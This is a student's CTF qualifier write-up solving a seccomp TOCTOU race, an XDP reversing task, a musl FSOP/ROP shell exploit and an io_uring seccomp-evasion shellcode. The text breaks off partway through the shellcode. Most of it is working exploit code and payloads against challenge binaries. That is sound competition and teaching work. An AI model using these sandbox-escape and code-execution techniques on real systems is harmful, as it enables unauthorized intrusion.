AIS2026 CTF Quals
Team/Personal Information
Team profile
I am r13922177 which corresponds to my student ID.
Solved problems
The figure above shows the challenges I solved. Luckily, this time I managed to gather 3 other teammates (compared to 2023, where we only had 2 teammates), so I was able to focus on pwn challenges. However, since I noticed that two misc problems hadn’t been solved by my teammates, I decided to try solving them myself.
This time, I didn’t stay up all night for the competition, as I had less motivation to do so (P.S. foreigners cannot participate in the finals even if we qualify, due to the restrictions D:). Although I participated in the 2023 finals and had fun, I still feel it’s unfortunate that we cannot participate this time…
I hope that in the future, foreign students will have more opportunities to participate in these kinds of cybersecurity-related events or competitions without nationality restrictions.
Writeup
Misc - SaaS
Description
The server allows us to upload a program, and will run it in the self customized sandbox-app within the docker container. Our target is to read the flag located at /flag.
Blackbox Testing
First, I decided to write a normal C program to try reading /etc/passwd and /flag directly to see the results. As a result, /etc/passwd was successfully read, while /flag was blocked by the sandbox-app.
We know that the seccomp-sandbox somehow blocks the action of reading the flag, given the discrepancy (not the read action itself, but the read combined with the flag target, since we are able to read /etc/passwd).
Next, I decided to use the stat syscall to check the /flag permissions. If it executes successfully, we know that:
- Most system calls are likely allowed.
- We have permission to read the flag.
As a result, we know that the flag is readable. In conclusion, the seccomp-sandbox likely checks read-related system calls and verifies if the target file is /flag to determine whether to block it.
TOCTOU Exploit
In summary, we can write a program to create two threads, Ta and Tb. Ta is responsible for constantly flipping the path buffer (which contains the target file path to read) between a legal file path (e.g., /etc/passwd) and /flag, while Tb keeps calling the open(path) function. If a race condition occurs in the order listed below, we will be able to read /flag:
seccomp-sandboxreads the path, finds that it is a legal file path, and allows the current function call / system call execution.- In the meantime, Ta flips the path from the legal file path to
/flag. - On the kernel side, the
openatsystem call executes and finds that the buffer now contains/flag, thus reading the content of/flaginstead of/etc/passwd.
Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
const char *ALLOWED = "/dev/null";
const char *FORBIDDEN = "/flag";
char path[256]; // our controlled path buffer
volatile int running = 1;
void *worker(void *arg) {
while (running) {
// keep flipping between allowed and forbidden paths
strcpy(path, ALLOWED);
strcpy(path, FORBIDDEN);
}
return NULL;
}
int main() {
printf("[*] Starting TOCTOU exploit for /flag...\n");
strcpy(path, ALLOWED);
pthread_t tid;
if (pthread_create(&tid, NULL, worker, NULL) != 0) {
perror("pthread_create");
return 1;
}
int fd;
char buf[1024];
while (running) {
// Let's pray for race condition QQQQQQ
fd = open(path, O_RDONLY);
if (fd >= 0) {
// Oh! We opened something...
int n = read(fd, buf, sizeof(buf) - 1);
close(fd);
if (n > 0) {
// if we read something, and since `/dev/null` always returns 0 bytes, that means we can ensure that we open the /flag successfully!
buf[n] = 0;
printf("[+] flag: %s\n", buf);
// clean up
running = 0;
pthread_join(tid, NULL);
return 0;
}
}
}
pthread_join(tid, NULL);
return 1;
}
Compile with:
1
gcc -O2 -pthread -s -o app app.c
flag
Misc - fun
Description
The problem provides two files, loader and xdp_prog.o. The loader can be reverse engineered directly using IDA.
Loader Rev
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 xdp_obj; // rbx
int v4; // ebp
unsigned int v5; // r12d
__int64 program_by_name; // rdi
__int64 v7; // r14
int map_fd_by_name; // eax
__int64 v9; // r12
__int64 error; // rax
rlimit v12; // [rsp+0h] [rbp-48h] BYREF
unsigned __int64 v13; // [rsp+18h] [rbp-30h]
v13 = __readfsqword(0x28u);
libbpf_set_print(print_libbpf_log, argv, envp);
v12 = (rlimit)-1LL;
if ( !setrlimit(8, &v12) )
{
signal(2, sig_int);
signal(15, sig_int);
xdp_obj = bpf_object__open_file("xdp_prog.o", 0LL);
if ( libbpf_get_error(xdp_obj) )
{
fwrite("ERROR: opening BPF object file failed\n", 1uLL, 0x26uLL, _bss_start);
}
else
{
v4 = bpf_object__load(xdp_obj);
if ( v4 )
{
fwrite("ERROR: loading BPF object file failed\n", 1uLL, 0x26uLL, _bss_start);
}
else
{
v5 = if_nametoindex("lo");
if ( v5 )
{
program_by_name = bpf_object__find_program_by_name(xdp_obj, "xdp_encoder");
if ( program_by_name )
{
v7 = bpf_program__attach_xdp(program_by_name, v5);
if ( libbpf_get_error(v7) )
{
fwrite("ERROR: Attaching XDP program failed\n", 1uLL, 0x24uLL, _bss_start);
}
else
{
__printf_chk(2LL, "Successfully attached! Waiting for packets on %s...\n", "lo");
map_fd_by_name = bpf_object__find_map_fd_by_name(xdp_obj, "perf_map");
if ( map_fd_by_name < 0 )
{
fwrite("ERROR: finding perf map failed\n", 1uLL, 0x1FuLL, _bss_start);
}
else
{
v9 = perf_buffer__new((unsigned int)map_fd_by_name, 8LL, handle_event, 0LL, 0LL, 0LL);
if ( !libbpf_get_error(v9) )
{
while ( !stop )
perf_buffer__poll(v9, 100LL);
puts("Detaching...");
bpf_link__destroy(v7);
bpf_object__close(xdp_obj);
perf_buffer__free(v9);
return v4;
}
error = libbpf_get_error(v9);
__fprintf_chk(_bss_start, 2LL, "failed to setup perf_buffer: %ld\n", error);
}
}
}
else
{
fwrite("ERROR: finding xdp program failed\n", 1uLL, 0x22uLL, _bss_start);
}
}
else
{
__fprintf_chk(_bss_start, 2LL, "ERROR: if_nametoindex(%s) failed\n", "lo");
}
}
}
return 1;
} return main_cold();
}
void __fastcall handle_event(void *ctx, int cpu, unsigned __int8 *data, __int64 data_sz)
{
__int64 v5; // rbx
__int64 v6; // rdx
if ( *(_DWORD *)data <= 0x40u )
{
__printf_chk(2LL, "[+] Encoded Flag (Hex): ", data, data_sz);
if ( *(_DWORD *)data )
{
v5 = 0LL;
do
{
v6 = data[v5++ + 4];
__printf_chk(2LL, "%02x", v6);
}
while ( (unsigned int)v5 < *(_DWORD *)data );
}
putchar(10);
stop = 1;
}
}
As for xdp_prog.o, we can use llvm_objdump to dump the assembly code to see what it’s doing.
1
llvm-objdump -S xdp_proj.o > xdp_proj.out
But we don’t need to check it one by one manually; we can just throw it to ChatGPT and ask it to reverse engineer it. Simply put, the loader loads xdp_prog.o, then takes the xdp_encoder function inside to encrypt/decrypt the flag. Of course, there are some packet processing steps in between that we can ignore. The important part is that we need to get the XOR encryption/decryption key. We can use the following command to grab all XOR instructions:
1
grep -nE "\^=|\bxor\b|\^ 0x" xdp_proj.out > test.out
Blindly guessing that these key bytes perform encryption/decryption sequentially, we can write a simple Python script to decrypt and get the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
flag_fd = open('./flag.enc', 'r')
flag_enc = flag_fd.read()
flag_fd.close()
flag_enc = bytes.fromhex(flag_enc)
parse_strfd = open('./test.out', 'r')
parse_str = parse_strfd.read()
parse_strfd.close()
parse_data = parse_str.split('\n')[:-2]
keys = []
for i in range(len(parse_data)):
keys.append(parse_data[i].split('^= ')[1])
keys = [int(k, 16) for k in keys]
flag = ''.join([chr(flag_enc[i] ^ keys[i]) for i in range(len(flag_enc))])
print(flag)
flag
Pwn - ooonenooote
Checksec
Program Analysis
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define MAX_LEN 0x10
int main(){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char* notes[MAX_LEN] = {0};
int choice = 0;
puts("Welcome to ooone nooote!");
printf("Give me your index: ");
if(scanf("%d%*c", &choice) != 1){
puts("Invalid index");
exit(0x1337);
}
if (choice > MAX_LEN){
puts("Index out of range");
exit(0x69);
}
notes[choice] = calloc(1,128);
printf("OK, give me the content of your note: ");
read(0, notes[choice], 128);
printf("You have reached the limit of notes! Exiting...");
exit(0);
}
A simple program without anything special. The issue is that choice is a signed integer and there’s no check for negative numbers, so we can overwrite arbitrary locations on the stack. However, since the program places the allocated memory address returned by calloc onto the stack at our specified location, and read only writes to that allocated memory, we can’t do much else directly.
While frantically debugging in GDB, I discovered that when printf is executed, a certain location on the stack (not far from rsp after calloc) gets overwritten with the address of __stdout_FILE. If we point notes[choice] to this location, then during the first printf (which outputs “OK, give me the …”), since printf itself uses __stdout_FILE and places its address on the stack, it will overwrite our pointer with the original __stdout_FILE address. Consequently, the subsequent read will write to the __stdout_FILE location instead of the memory allocated by calloc. This allows us to perform an FSOP attack.
Referencing the source code https://github.com/rui314/musl/blob/master/src/stdio/vfprintf.c#L657 , our goal is to execute the instruction f->write(f, 0, 0). The conditions required to reach that line are:
f->buf_sizeis 0f->bufis not NULL
In other cases, as long as we don’t mess up the original structure, it won’t trigger an error.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (f->mode < 1) f->flags &= ~F_ERR;
if (!f->buf_size) {
saved_buf = f->buf;
f->buf = internal_buf;
f->buf_size = sizeof internal_buf;
f->wpos = f->wbase = f->wend = 0;
}
if (!f->wend && __towrite(f)) ret = -1;
else ret = printf_core(f, fmt, &ap2, nl_arg, nl_type);
if (saved_buf) {
f->write(f, 0, 0);
if (!f->wpos) ret = -1;
f->buf = saved_buf;
f->buf_size = 0;
f->wpos = f->wbase = f->wend = 0;
}
So, we just need to overwrite __stdout_FILE’s buf_size and buf to meet the conditions, and write our ROP Chain into the __stdout_FILE->write location to achieve RCE. (Note that we can only use the first four 8-byte slots for our ROP Chain gadgets, as the subsequent bytes will be modified by vfprintf. For details, see the code for __towrite and vfprintf.)
After debugging with GDB, I found that at the moment of ROP execution, rdi defaults to pointing to __stdout_FILE, and rsi and rdx default to 0. Therefore, we just need to place /bin/sh\x00 at the beginning of __stdout_FILE, use the pop rax ; ret gadget to write 59 into rax, and finally execute syscall to complete the RCE!
After overwriting __stdout_FILE, waiting for the program to call printf will trigger our ROP chain and get us a shell.
Exploit script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
# 90 offset 有殘留 stdout_FILE, 我們可以寫入
# __stdout_FILE->buf_size == 0
# __stdout_FILE->buf != NULL
# __stdout_FILE->flags & F_NOWR (8) == 0
'''
stdout+0x00 -> flags
stdout+0x08
stdout+0x10
stdout+0x18
stdout+0x20 -> wend
stdout+0x28 -> wpos
stdout+0x30 -> mustbezero_1
stdout+0x38 -> wbase
stdout+0x40 -> (*read)
stdout+0x48 -> (*write)
stdout+0x50 -> (*seek)
stdout+0x58 -> (*buf)
stdout+0x60 -> buf_size
'''
# 0x4042ae
#r = process('./chall')
r = remote("chals1.eof.ais3.org", "13337")
pause()
xor_r10_mov_rax_rsi_syscall_addr = 0x0000000000404cdb
pop_rbx_rbp_r12_r13_ret_addr = 0x0000000000401c53
leave_ret_addr = 0x0000000000409dfe
pop_rdi_ret_addr = 0x000000000040289d
pop_rsi_ret_addr = 0x0000000000401842
pop_rbx_ret_addr = 0x00000000004045d0
mov_rdx_rbx_syscall_addr = 0x000000000040a373 # mov rdx, rbx ; syscall
syscall_addr = 0x0000000000401423
pop_rax_ret_addr = 0x0000000000401001
__stdout_FILE_addr = 0x40e140
#__stdout_FILE+72 => call to [__stdout_FILE+72]
#payload = b"/bin/sh\x00" + p64(pop_rdi_ret_addr) + p64(__stdout_FILE_addr) + p64(pop_rax_ret_addr) + p64(59) + p64(syscall_addr) + p64(0xdeadbeef) + p64(0xbeefdead) + p64(0x000000000040a2d0) + p64(leave_ret_addr) + p64(0x000000000040e748) + p64(1) + p64(0) + p64(0xdead) + p64(0xbeef) + p64(0xa)
#payload = b"/bin/sh\x00" + p64(pop_rbx_rbp_r12_r13_ret_addr) + p64(59) + p64(__stdout_FILE_addr) + p64(0) + p64(0) + p64(xor_r10_mov_rax_rsi_syscall_addr) + p64(0xbeefdead) + p64(0x000000000040a2d0) + p64(leave_ret_addr) + p64(0x000000000040e748) + p64(1) + p64(0) + p64(0xdead) + p64(0xbeef) + p64(0xa)
payload = b"/bin/sh\x00" + p64(pop_rax_ret_addr) + p64(59) + p64(syscall_addr) + p64(0) + p64(0) + p64(0) + p64(0xbeefdead) + p64(0x000000000040a2d0) + p64(leave_ret_addr) + p64(0x000000000040e748) + p64(1) + p64(0) + p64(0xdead) + p64(0xbeef) + p64(0xa)
#payload = b'/bin/sh\x00' + p64(0xa) + p64(0xb) + p64(0xc) + p64(0xd) + p64(0xe) + p64(0xf) + p64(0xaa) + p64(0xab) + p64(0xac) + p64(0xad) + p64(0xee) + p64(0xef) + p64(0xdeadbeef)
print(len(payload))
r.sendlineafter(b'Give me your index: ', b'-90')
r.sendlineafter(b'OK, give me the content of your note: ', payload)
pause()
r.interactive()
flag
Pwn - Safe IO
The most interesting problem this competition IMO
Checksec
Program Analysis
The program is basically divided into two parts: agent and host. The agent is responsible for receiving commands from the host, doing work, and then sending a response back to the host. The host uses the response as an argument for snprintf, which introduces a format string vulnerability.
The difficulty lies in the fact that both agent and host have seccomp configured. The agent configuration only allows:
io_uring_setupio_uring_enterexit/exit_group
The host allows:
readwriteexit/exit_group
Furthermore, the code executed by the agent is the shellcode we provide, and this shellcode cannot include the syscall instruction. So basically, to solve this challenge, we need to figure out how to:
- Bypass the restriction on the
syscallinstruction, otherwise we can’t executeio_uring_setuporio_uring_enterto communicate with the host… - Leak the base address / libc address
- Use
io_uringto communicate with the host - Assuming
io_uringis usable, use a method similar to blind SQL injection to guess the flag byte by byte
bypass syscall restriction
The source code contains this segment:
1
__attribute__((noinline)) int magic() { return -859634417; }
Checking with GDB reveals that it provides syscall ; ret, which allows us to bypass the restriction.
1
2
3
gef➤ x/2i magic+0x5
0x555555555c15 <magic+5>: syscall
0x555555555c17 <magic+7>: ret
Leak base address / libc address
There are residual addresses on the child process’s stack, which we can use to calculate offsets and obtain the base address and libc address.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def craft_shellcode():
sc = f"""
mov r11, qword ptr [rsp]
mov r12, qword ptr [rsp+0x20]
mov r8, 0x2a1ca
sub r11, r8
mov r8, 0x14b0
sub r12, r8
mov r15, r12
mov r8, 0x1c15
add r15, r8
/* now r11 have libc address, and r12 have base address, r15 have the magic+0x5 (syscall; ret) */
/* TODO */
/* --- Wait Loop --- */
/* Loop forever so parent can inspect the received data */
jmp .
"""
return sc
iouring usage
Since there are very few examples of io_uring related system calls, my approach was to ask ChatGPT to write a C code, compile it, and then use GDB to inspect the assembly code to see how io_uring_setup and io_uring_enter are used to read flag.txt:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
#define _GNU_SOURCE
#include <linux/io_uring.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h> // AT_FDCWD, O_RDONLY
#ifndef IORING_SETUP_NO_MMAP
#define IORING_SETUP_NO_MMAP (1U << 14) /* 0x4000 */
#endif
int main(void) {
/* Exactly 0x2000 scratch, page-aligned */
static unsigned char mem[0x2000] __attribute__((aligned(4096)));
unsigned char *rings = mem; /* 0x1000 */
unsigned char *sqes = mem + 0x1000; /* 0x1000 */
/* stack buffer for file contents */
static char buf[4096];
memset(mem, 0, sizeof(mem));
memset(buf, 0, sizeof(buf));
struct io_uring_params p;
memset(&p, 0, sizeof(p));
p.flags = IORING_SETUP_NO_MMAP;
p.sq_off.user_addr = (uintptr_t)sqes; /* SQE array backing */
p.cq_off.user_addr = (uintptr_t)rings; /* SQ/CQ rings backing */
int ring_fd = syscall(SYS_io_uring_setup, 8, &p);
if (ring_fd < 0) {
for (;;) {} /* stop here in gdb */
}
/* locate SQ ring fields */
uint32_t *sq_tail = (uint32_t *)(rings + p.sq_off.tail);
uint32_t *sq_mask = (uint32_t *)(rings + p.sq_off.ring_mask);
uint32_t *sq_array = (uint32_t *)(rings + p.sq_off.array);
/* locate CQ ring fields */
uint32_t *cq_head = (uint32_t *)(rings + p.cq_off.head);
uint32_t *cq_tail = (uint32_t *)(rings + p.cq_off.tail);
uint32_t *cq_mask = (uint32_t *)(rings + p.cq_off.ring_mask);
struct io_uring_cqe *cqes_base = (struct io_uring_cqe *)(rings + p.cq_off.cqes);
struct io_uring_sqe *sqe = (struct io_uring_sqe *)sqes;
/* =========================
1) OPENAT("flag.txt")
========================= */
memset(&sqe[0], 0, sizeof(sqe[0]));
sqe[0].opcode = IORING_OP_OPENAT;
sqe[0].fd = AT_FDCWD;
sqe[0].addr = (uintptr_t)"flag.txt";
sqe[0].open_flags = O_RDONLY;
sqe[0].len = 0; /* mode */
sqe[0].user_data = 0x1111;
/* submit sqe index 0 */
{
uint32_t tail = *sq_tail;
sq_array[tail & *sq_mask] = 0;
__sync_synchronize();
*sq_tail = tail + 1;
}
/* enter + wait 1 completion */
if (syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0) < 0) {
for (;;) {}
}
/* reap cqe -> fd */
int fd;
{
uint32_t head = *cq_head;
while (head == *cq_tail) { /* spin until CQE arrives */ }
struct io_uring_cqe *cqe = &cqes_base[head & *cq_mask];
fd = cqe->res;
__sync_synchronize();
*cq_head = head + 1;
}
if (fd < 0) {
for (;;) {}
}
/* =========================
2) READ(fd, buf, 4096)
========================= */
memset(&sqe[0], 0, sizeof(sqe[0]));
sqe[0].opcode = IORING_OP_READ;
sqe[0].fd = fd;
sqe[0].addr = (uintptr_t)buf;
sqe[0].len = 4096;
sqe[0].off = -1; /* like read() */
sqe[0].user_data = 0x2222;
/* submit sqe index 0 */
{
uint32_t tail = *sq_tail;
sq_array[tail & *sq_mask] = 0;
__sync_synchronize();
*sq_tail = tail + 1;
}
/* enter + wait 1 completion */
if (syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0) < 0) {
for (;;) {}
}
/* reap cqe -> nread */
int nread;
{
uint32_t head = *cq_head;
while (head == *cq_tail) { }
struct io_uring_cqe *cqe = &cqes_base[head & *cq_mask];
nread = cqe->res;
__sync_synchronize();
*cq_head = head + 1;
}
if (nread < 0) {
for (;;) {}
}
if (nread > 4096) nread = 4096;
/* =========================
3) WRITE(1, buf, nread)
========================= */
memset(&sqe[0], 0, sizeof(sqe[0]));
sqe[0].opcode = IORING_OP_WRITE;
sqe[0].fd = 1;
sqe[0].addr = (uintptr_t)buf;
sqe[0].len = (uint32_t)nread;
sqe[0].off = -1; /* like write() */
sqe[0].user_data = 0x3333;
/* submit sqe index 0 */
{
uint32_t tail = *sq_tail;
sq_array[tail & *sq_mask] = 0;
__sync_synchronize();
*sq_tail = tail + 1;
}
/* enter + wait 1 completion */
if (syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0) < 0) {
for (;;) {}
}
/* reap write completion (optional) */
{
uint32_t head = *cq_head;
while (head == *cq_tail) { }
__sync_synchronize();
*cq_head = head + 1;
}
return 0;
}
By constructing the following shellcode to mimic the assembly of the C code above, I found that the agent can successfully read flag.txt and store its content at rsp+0x150.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
#!/usr/bin/env python3
from pwn import *
exe = ELF("./safeio_patched")
libc = ELF("libc.so.6")
ld = ELF("./ld-2.39.so")
context.binary = exe
context.arch = 'amd64'
context.os = 'linux'
r = process([exe.path])
def send_shellcode(shellcode: bytes):
assert len(shellcode) < 0x1000
r.sendlineafter(b'agent > ', shellcode)
def send_cmd(cmd: bytes):
assert len(cmd) < 0x100
r.sendlineafter(b'cmd > ', cmd)
# syscall(SYS_io_uring_setup, 8, &p); /* setup ring */
# syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0) /* enter + wait 1 completion */
def craft_shellcode():
sc = f"""
mov r11, qword ptr [rsp] /* r11 store libc address */
mov r12, qword ptr [rsp+0x20] /* r12 store base address */
mov r8, 0x2a1ca
sub r11, r8
mov r8, 0x14b0
sub r12, r8
mov r15, r12
add r15, 0x1c15 /* syscall;ret */
/* extend rbp */
mov r8, 0x1000
add rbp, r8
/* store "flag.txt\x00" at rsp+0x100 */
mov rax, 0x7478742e67616c66
mov qword ptr [rsp+0x100], rax
mov byte ptr [rsp+0x108], 0
/* unsigned char *rings = mem */
lea rax, [r12+0x5000]
mov QWORD PTR [rbp-0xe0], rax
/* unsigned char *sqes = mem */
lea rax, [r12+0x6000]
mov QWORD PTR [rbp-0xd8], rax
mov rdi, qword ptr [rbp-0xe0]
xor eax, eax
mov rcx, 0x1000
rep stosb
mov rdi, qword ptr [rbp-0xd8]
xor eax, eax
mov rcx, 0x1000
rep stosb
/* put struct io_uring_params p at [rsp+0x10] and clear all */
lea rdi, [rbp-0x80]
xor eax, eax
mov rcx, 0x78
rep stosb
/* set p.flags = IORING_SETUP_NO_MMAP */
mov DWORD PTR [rbp-0x78], 0x4000
/* set p.sq_off.user_addr = (uintptr_t)sqes */
mov rax, QWORD PTR [rbp-0xd8]
mov QWORD PTR [rbp-0x38], rax
/* set p.cq_off.user_addr = (uintptr_t)rings */
mov rax, QWORD PTR [rbp-0xe0]
mov QWORD PTR [rbp-0x10], rax
/* syscall(SYS_io_uring_setup, 8, &p) */
mov eax, 425
mov edi, 8
lea rsi, [rbp-0x80]
call r15
/* uint32_t *sq_tail = (uint32_t *)(rings + p.sq_off.tail); */
mov eax, DWORD PTR [rbp-0x54]
mov edx, eax
mov rax, QWORD PTR [rbp-0xe0]
add rax, rdx
mov QWORD PTR [rbp-0xd0], rax
/* uint32_t *sq_mask = (uint32_t *)(rings + p.sq_off.ring_mask); */
mov eax, DWORD PTR [rbp-0x50]
mov edx, eax
mov rax, QWORD PTR [rbp-0xe0]
add rax, rdx
mov QWORD PTR [rbp-0xc8], rax
/* uint32_t *sq_array = (uint32_t *)(rings + p.sq_off.array); */
mov eax, DWORD PTR [rbp-0x40]
mov edx, eax
mov rax, QWORD PTR [rbp-0xe0]
add rax, rdx
mov QWORD PTR [rbp-0xc0], rax
/* uint32_t *cq_head = (uint32_t *)(rings + p.cq_off.head); */
mov eax, DWORD PTR [rbp-0x30]
mov edx, eax
mov rax, QWORD PTR [rbp-0xe0]
add rax, rdx
mov QWORD PTR [rbp-0xb8], rax
/* uint32_t *cq_tail = (uint32_t *)(rings + p.cq_off.tail); */
mov eax, DWORD PTR [rbp-0x2c]
mov edx, eax
mov rax, QWORD PTR [rbp-0xe0]
add rax, rdx
mov QWORD PTR [rbp-0xb0], rax
/* uint32_t *cq_mask = (uint32_t *)(rings + p.cq_off.ring_mask); */
mov eax, DWORD PTR [rbp-0x28]
mov edx, eax
mov rax, QWORD PTR [rbp-0xe0]
add rax, rdx
mov QWORD PTR [rbp-0xa8], rax
/* struct io_uring_cqe *cqes_base = (struct io_uring_cqe *)(rings + p.cq_off.cqes); */
mov eax, DWORD PTR [rbp-0x1c]
mov edx, eax
mov rax, QWORD PTR [rbp-0xe0]
add rax, rdx
mov QWORD PTR [rbp-0xa0], rax
/* struct io_uring_sqe *sqe = (struct io_uring_sqe *)sqes; */
mov rax, QWORD PTR [rbp-0xd8]
mov QWORD PTR [rbp-0x98], rax
/* memset(&sqe[0], 0, sizeof(sqe[0])); */
mov rdi, qword ptr [rbp-0x98]
xor eax, eax
mov rcx, 0x40
rep stosb
/* sqe[0].opcode = IORING_OP_OPENAT; */
mov rax, QWORD PTR [rbp-0x98]
mov BYTE PTR [rax], 0x12
/* sqe[0].fd = AT_FDCWD; */
mov rax, QWORD PTR [rbp-0x98]
mov DWORD PTR [rax+0x4], 0xffffff9c
/* sqe[0].addr = (uintptr_t)"flag.txt";, where at [rsp+0x100] */
lea rdx, [rsp+0x100]
mov rax, QWORD PTR [rbp-0x98]
mov QWORD PTR [rax+0x10], rdx
/* sqe[0].open_flags = O_RDONLY; */
mov rax, QWORD PTR [rbp-0x98]
mov DWORD PTR [rax+0x1c], 0x0
/* sqe[0].len = 0; */
mov rax, QWORD PTR [rbp-0x98]
mov DWORD PTR [rax+0x18], 0x0
/* sqe[0].user_data = 0x1111; */
mov rax, QWORD PTR [rbp-0x98]
mov QWORD PTR [rax+0x20], 0x1111
/* submit sqe index 0 */
mov rax, QWORD PTR [rbp-0xd0]
mov eax, DWORD PTR [rax]
mov DWORD PTR [rbp-0xfc], eax
mov rax, QWORD PTR [rbp-0xc8]
mov eax, DWORD PTR [rax]
and eax, DWORD PTR [rbp-0xfc]
mov eax, eax
lea rdx, [rax*4+0x0]
mov rax, QWORD PTR [rbp-0xc0]
add rax, rdx
mov DWORD PTR [rax], 0x0
lock or QWORD PTR [rsp], 0x0
mov eax, DWORD PTR [rbp-0xfc]
lea edx, [rax+0x1]
mov rax, QWORD PTR [rbp-0xd0]
mov DWORD PTR [rax], edx
/* syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0) */
mov edi, 0x2
mov rsi, 0x1
mov rdx, 0x1
mov r10, 0x1
xor r8, r8
xor r9, r9
mov eax, 426
call r15
/* reap cqe -> fd */
mov rax, QWORD PTR [rbp-0xb8]
mov eax, DWORD PTR [rax]
mov DWORD PTR [rbp-0xf8], eax
nop
mov rax, QWORD PTR [rbp-0xb0]
mov rax, QWORD PTR [rbp-0xa8]
mov eax, DWORD PTR [rax]
and eax, DWORD PTR [rbp-0xf8]
mov eax, eax
shl rax, 0x4
mov rdx, rax
mov rax, QWORD PTR [rbp-0xa0]
add rax, rdx
mov QWORD PTR [rbp-0x90], rax
mov rax, QWORD PTR [rbp-0x90]
mov eax, DWORD PTR [rax+0x8]
mov DWORD PTR [rbp-0xf4], eax /* DWORD PTR [rbp-0xf4] store fd */
lock or QWORD PTR [rsp], 0x0
mov eax, DWORD PTR [rbp-0xf8]
lea edx, [rax+0x1]
mov rax, QWORD PTR [rbp-0xb8]
mov DWORD PTR [rax], edx
/* check fd here if needed */
/* READ(fd, buf, 4096) */
/* we let buf at rsp+[0x150] */
/* memset(&sqe[0], 0, sizeof(sqe[0])) */
mov rdi, qword ptr [rbp-0x98]
xor eax, eax
mov rcx, 0x40
rep stosb
mov rax, QWORD PTR [rbp-0x98]
mov BYTE PTR [rax], 0x16
mov rax, QWORD PTR [rbp-0x98]
mov edx, DWORD PTR [rbp-0xf4]
mov DWORD PTR [rax+0x4], edx
lea rdx, [rsp+0x150] /* buf address */
mov rax, QWORD PTR [rbp-0x98]
mov QWORD PTR [rax+0x10], rdx
mov rax, QWORD PTR [rbp-0x98]
mov DWORD PTR [rax+0x18], 0x1000
mov rax, QWORD PTR [rbp-0x98]
mov QWORD PTR [rax+0x8], 0xffffffffffffffff
mov rax, QWORD PTR [rbp-0x98]
mov QWORD PTR [rax+0x20], 0x2222
/* submit sqe index 0 */
mov rax, QWORD PTR [rbp-0xd0]
mov eax, DWORD PTR [rax]
mov DWORD PTR [rbp-0xf0], eax
mov rax, QWORD PTR [rbp-0xc8]
mov eax, DWORD PTR [rax]
and eax, DWORD PTR [rbp-0xf0]
mov eax, eax
lea rdx, [rax*4+0x0]
mov rax, QWORD PTR [rbp-0xc0]
add rax, rdx
mov DWORD PTR [rax], 0x0
lock or QWORD PTR [rsp], 0x0
mov eax, DWORD PTR [rbp-0xf0]
lea edx, [rax+0x1]
mov rax, QWORD PTR [rbp-0xd0]
mov DWORD PTR [rax], edx
